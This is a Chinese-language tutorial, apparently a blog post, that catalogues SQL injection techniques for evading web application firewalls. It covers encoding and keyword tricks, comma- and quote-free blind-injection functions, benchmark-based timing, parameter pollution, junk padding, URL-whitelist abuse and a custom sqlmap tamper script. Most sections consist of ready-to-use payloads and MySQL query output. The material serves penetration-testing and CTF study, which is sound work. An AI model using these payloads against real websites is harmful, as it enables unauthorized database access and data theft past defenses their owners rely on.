sql注入绕过方法总结

[TOC]

注释符号绕过

常用的注释符有:

-- 注释内容
# 注释内容
/*注释内容*/
;

实例:
image.png
image.png
image.png

大小写绕过

常用于 waf的正则对大小写不敏感的情况,一般都是题目自己故意这样设计。
例如:waf过滤了关键字select,可以尝试使用Select等绕过。
image.png

注释绕过

在mysql中/admin/是注释符,就像C和js中//代表注释的意思,也可以充当空白符。因为 //在sql语句中可以解析成功。事实上许多WAF都考虑到//可以作为空白分,但是waf检测 “/./”很消耗性能,工程师会折中,可能在检测中间引入一些特殊字符,例如:/\w+/。或者,WAF可能只中间检查n个字符“/.{,n}*/”,直至达到检测的最大值,因此payload:

index.php?id=-1 union/**/select 1,2,3
index.php?id=-1 union/*aaaaaaaaaaaaaaa(1万个a)aaaaaaaaaaaaaaaaa*/select 1,2,3

内联注释绕过

内联注释就是把一些特有的仅在MYSQL上的语句放在 /!…/ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中会执行。
image.png

双写关键字绕过

在某一些简单的waf中,将关键字select等只使用replace()函数置换为空,这时候可以使用双写关键字绕过。例如select变成seleselectct,在经过waf的处理之后又变成select,达到绕过的要求。

特殊编码绕过

十六进制绕过

mysql> select * from users where username=0xE69D8EE799BD;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 李白     | 123      |
+----+----------+----------+
1 row in set (0.00 sec)

ascii编码绕过

mysql> select * from users where password =concat(char(49),char(50),char(51));
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 李白     | 123      |
+----+----------+----------+
1 row in set (0.00 sec)

tip:好像新版mysql不能用了 ,反正遇到多试试吧!

url编码绕过

这个有条件,前提时后端过滤以后进行url解码,这时候可以对”这些符号或者字符进行两次url编码
078f9b18a9d913c0123dcccf05c137dd.jpg

unicode编码绕过

** IIS中间件**可以识别Unicode字符,当URL中存在Unicode字符时,IIS会自动进行转换!

假如对select关键字进行了过滤,可以对其中几个字母进行unicode编码:se%u006cect

空格过滤绕过

一般绕过空格过滤的方法有以下几种方法来取代空格

/**/
()
回车(url编码中的%0a)
`(tap键上面的按钮)
tap
两个空格

image.png
image.png
image.png
image.png

过滤or and xor not 绕过

and = &&
or = ||
xor = | # 异或
not = !

过滤等号=绕过

使用like绕过

不加通配符的like执行的效果和=一致,所以可以用来绕过。
** 正常加上通配符的like:**
image.png
** 不加上通配符的like可以用来取代=:**
image.png

rlike绕过

** rlike:模糊匹配,只要字段的值中存在要查找的 部分 就会被选择出来**
用来取代=时,rlike的用法和上面的like一样,没有通配符效果和=一样
image.png

regexp绕过

regexp:MySQL中使用 REGEXP 操作符来进行正则表达式匹配
image.png

使用大小于号来绕过

image.png

<> 等价于 !=

所以在前面再加一个!结果就是等号了
image.png

过滤大小于号绕过

为了方便测试,我把表的内容修改了一下:
image.png
在sql盲注中,一般使用大小于号来判断ascii码值的大小来达到爆破的效果。但是如果过滤了大小于号的话, 我们 可以使用以下的关键字来绕过

greatest绕过

greatest(n1, n2, n3…):返回n中的最大值

嗯,我们来用这个函数来测试一下如何盲注:

mysql> select * from users where id=1 and greatest(ascii(substr(username,1,1)),1)=97;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | admin    | admin666 |
+----+----------+----------+
1 row in set (0.00 sec)

least绕过

least(n1,n2,n3...)  返回n中的最小值
mysql> select * from users where id=1 and least(ascii(substr(username,1,1)),9999)=97;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | admin    | admin666 |
+----+----------+----------+
1 row in set (0.00 sec)

strcmp绕过

strcmp(str1,str2):若所有的字符串均相同,则返回STRCMP(),若根据当前分类次序,第一个参数小于第二个,则返回 -1,其它情况返回 1
mysql> select * from users where id=1 and strcmp(ascii(substr(username,1,1)),97);
Empty set (0.00 sec)

mysql> select * from users where id=1 and strcmp(ascii(substr(username,1,1)),96);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | admin    | admin666 |
+----+----------+----------+
1 row in set (0.00 sec)

in关键字绕过

mysql> select * from users where id=1 and substr(username,1,1) in ('a');
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | admin    | admin666 |
+----+----------+----------+
1 row in set (0.00 sec)

between a and b 绕过

mysql> select * from users where id between 1 and 2;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | admin    | admin666 |
|  2 | guest    | guest123 |
+----+----------+----------+
2 rows in set (0.00 sec)

mysql> select * from users where id=1 and substr(username,1,1) between 'a' and 'e';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | admin    | admin666 |
+----+----------+----------+
1 row in set (0.00 sec)

使用between a and b判等

mysql> select * from users where id=1 and substr(username,1,1) between 'a' and 'a';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | admin    | admin666 |
+----+----------+----------+
1 row in set (0.00 sec)

过滤引号绕过

使用十六进制

mysql> select * from users where username=0xE69D8EE799BD;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 李白     | 123      |
+----+----------+----------+
1 row in set (0.00 sec)

宽字节

常用在web应用使用的字符集为GBK时,并且过滤了引号,就可以试试宽字节

%df\' = %df%5c%27=縗’

过滤逗号绕过

sql盲注时常用到以下的函数:
substr()

substr(string, pos, len):从pos开始,取长度为len的子串
substr(string, pos):从pos开始,取到string的最后

substring()

用法和substr()一样

mid()

用法和substr()一样,但是mid()是为了向下兼容VB6.0,已经过时,以上的几个函数的pos都是从1开始的

left()和right()

left(string, len)和right(string, len):分别是从左或从右取string中长度为len的子串

limit

limit pos len:在返回项中从pos开始去len个返回值,pos的从0开始

ascii()和char()

ascii(char):把char这个字符转为ascii码
char(ascii_int):和ascii()的作用相反,将ascii码转字符

如果waf过滤了逗号,并且只能盲注(盲注基本离不开逗号啊喂),在取子串的几个函数中,有一个替代逗号的方法就是使用from pos for len,其中pos代表从pos个开始读取len长度的子串

from pos for len绕过

例如在substr()等函数中,常规的写法是:

mysql> select substr("admin",1,2);
+---------------------+
| substr("admin",1,2) |
+---------------------+
| ad                  |
+---------------------+
1 row in set (0.00 sec)

如果过滤了逗号,可以这样使用from pos for len来取代:

mysql> select substr("admin" from 1 for 3);
+------------------------------+
| substr("admin" from 1 for 3) |
+------------------------------+
| adm                          |
+------------------------------+
1 row in set (0.00 sec)

所以遇到盲注时,我们可构造payload:

mysql> select * from users where id =-1 union select ascii(substr(database() from 1 for 1)) >120,2,3;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    0 | 2        | 3        |
+------+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id =-1 union select ascii(substr(database() from 1 for 1)) >10,2,3;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    1 | 2        | 3        |
+------+----------+----------+
1 row in set (0.00 sec)

join关键字绕过

mysql> select * from users where id =-1 union select * from (select 1)a join (select database())b join(select 3)c;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test     | 3        |
+----+----------+----------+
1 row in set (0.00 sec)

like关键字绕过

适用于substr()等提取子串的函数中的逗号

使用offset关键字

适用于limit中的逗号被过滤的情况
limit 2,1等价于limit 1 offset 2

mysql> select * from users limit 1,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  2 | guest    | guest123 |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users limit 1 offset 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  2 | guest    | guest123 |
+----+----------+----------+
1 row in set (0.00 sec)

过滤函数绕过

sleep被过滤绕过

我们使用 benchmark() 函数来代替:
MySQL有一个内置的BENCHMARK()函数,可以测试某些特定操作的执行速度。 参数可以是需要执行的次数和表达式。第一个参数是执行次数,第二个执行的表达式

mysql> select 1,2,3 and benchmark(1000000000,1);
+---+---+-------------------------------+
| 1 | 2 | 3 and benchmark(1000000000,1) |
+---+---+-------------------------------+
| 1 | 2 |                             0 |
+---+---+-------------------------------+
1 row in set (3.08 sec)

ascii()被过滤

hex()、bin()
替代之后再使用对应的进制转string即可

group_concat()被过滤

concat_ws() 第一个参数为分隔符

mysql> select concat_ws(",",database(),user());
+----------------------------------+
| concat_ws(",",database(),user()) |
+----------------------------------+
| test,root@localhost              |
+----------------------------------+
1 row in set (0.00 sec)

substr(),substring(),mid()可以相互取代, 取子串的函数还有left(),right()和locate等

user()和datadir被过滤

user() --> @@user
datadir–>@@datadir

ord()–>ascii():这两个函数在处理英文时效果一样,但是处理中文等时不一致。

垃圾字符填充绕过

一般为了考虑性能等原因,程序员在设置WAF绕过规则时设置了过滤的数据包长度,如果数据包太大或太长,就会直接放弃匹配过滤后面的数据,从而略过这个数据包。因此我们可以通过传入大量的参数值,超到WAF绕过的临界值,从而绕过

index.php?id=-1aaaaaa(10万个a)aaaa union select 1,2,3

参数污染

简单来说,存在多个同名参数的情况下,可能存在逻辑层和 WAF 层对参数的取值不同,即可能逻辑层使用的第一个参数,而 WAF 层使用的第二个参数,而这时我们只需要第二个参数正常,通过WAF层,然后在第一个参数中插入注入语句,这样组合起来就可以绕过 WAF,payload:

index.php?name=first&name=last

而由于部分中间件的不同,部分检测规则存在差异,下面是一些服务器检测规则:
8b2d8e44a6d34ea9b7b6e19a1fc6ccb9.png

keep-alive(持久连接)

在HTTP请求头部中有Connection这个字段,用来判断建立的 TCP连接会根据此字段的值来判断是否断开,当发送的内容太大,超过一个 http 包容量,需要分多次发送时,值会变成keep-alive,Keep-Alive功能使客户端到服务器端的连接持续有效,当出现对服务器的后继请求时,Keep-Alive功能避免了建立或者重新建立连接。即本次发起的 http 请求所建立的 tcp 连接不断开,直到所发送内容结束Connection为close为止。
因此我们可以使用burpsuite抓包,手动将connection值设置为 keep-alive,然后在 http 请求报文中构造多个请求,将我们的注入代码隐藏在第 n 个请求中,从而绕过 waf。

请求方式绕过:

一些 WAF 对于get请求和post请求的处理机制不一样,可能对 POST 请求稍加松懈,因此给GET请求变成POST请求有可能绕过拦截。
一些 WAF 检测到POST请求后,就不会对GET携带的参数进行过滤检测,因此导致被绕过。
一般方法便是采用burpsuite抓包,更改提交方式,如下
6bcc270dcc934c7984213eb916a17f18.png

静态资源

特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css等等),类似白名单机制,waf为了提高检测效率,会直接放弃检测这样一些静态文件名后缀的请求。payload:

index.php/1.js?id=1

备注: Aspx/php只识别到前面的.aspx/.php后面基本不识别

url白名单

为了防止误拦,部分WAF内置默认的白名单列表,如admin/manager/system等管理后台。只要url中存在白名单的字符串,就作为白名单不进行检测。常见的url构造姿势:
index.php/admin.php?id=1
index.php?a=/manage/&b=…/etc/passwd
index.php/…/…/…/ manage/…/sql.asp?id=2
WAF对传入的参数进行比较,只要uri中存在/manage/,/admin/ 就作为白名单直接放行,payload:

index.php?a=/manage/&id=1 union select 1,2,3

缓冲区溢出绕过

(id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 ,27,28,29,30,31,32,33,34,35,36–+

其中0xAAAAAAAAAAAAAAAAAAAAA这里A越多越好。。一般会存在临界值,其实这种方法还对后缀名的绕过也有用)

使用sqlmap进行bypass

我们在知道替换规则的情况下可以自己写sqlmap的bypass脚本
在sqlmap文件夹下的/tamper/下,自己创建个py文件

#!/usr/bin/env python
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    payload = payload.replace("'","%1$'")      #将什么替换成什么
    payload = payload.replace("u","\u0075")      #将什么替换成什么,可以写很多个
    return payload

在sqlmap使用的时候调用这个模块,即可使用自定义过程

sqlmap --tamper=模块名.py -u 'http://xxx.xx.xx.xx/ddd.php?id=1'

参考链接:

https://blog.csdn.net/huanghelouzi/article/details/82995313
https://blog.csdn.net/weixin_52118430/article/details/123607959